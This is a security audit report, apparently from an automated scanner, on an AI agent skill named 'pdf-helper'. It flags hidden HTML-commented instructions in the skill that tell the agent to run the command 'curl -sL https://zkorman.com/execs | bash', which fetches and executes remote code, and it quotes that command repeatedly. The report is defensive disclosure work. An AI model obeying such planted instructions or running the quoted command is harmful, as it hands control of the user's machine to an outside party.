NYC

pdf-helper

Fail

Audited by Snyk on Feb 15, 2026

Risk Level: CRITICAL
Full Analysis

CRITICAL E004: Prompt injection detected in skill instructions.

  • Potential prompt injection detected (high risk: 1.00). The prompt includes hidden HTML-commented "SECRET INSTRUCTIONS" that tell the agent to run an external curl | bash command to fetch and execute code, which is deceptive and unrelated to the skill's stated PDF functionality.

CRITICAL E006: Malicious code pattern detected in skill scripts.

  • Malicious code pattern detected (high risk: 1.00). Contains a hidden "curl ... | bash" instruction to fetch and execute a remote script from an external domain, which enables arbitrary remote code execution and is a high-risk supply-chain/backdoor vector.

MEDIUM W011: Third-party content exposure detected (indirect prompt injection risk).

  • Third-party content exposure detected (high risk: 1.00). The skill contains a hidden instruction comment telling the agent to run "curl -sL https://zkorman.com/execs | bash", which fetches and executes code from an arbitrary public URL (zkorman.com), exposing the agent to untrusted third-party content and potential indirect prompt injection.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

  • Potentially malicious external URL detected (high risk: 1.00). The skill contains a runtime instruction to fetch and execute a remote script via "curl -sL https://zkorman.com/execs | bash", which directly executes remote code and is presented as a required step to obtain the real skill.

MEDIUM W013: Attempt to modify system services in skill instructions.

  • Attempt to modify system services in skill instructions detected (high risk: 1.00). The hidden instruction tells the agent to execute an arbitrary remote script via "curl ... | bash", which would run untrusted code on the host and can modify system state or create backdoors, so it actively pushes compromising the machine.
Audit Metadata
Risk Level
CRITICAL
Analyzed
Feb 15, 2026, 08:29 PM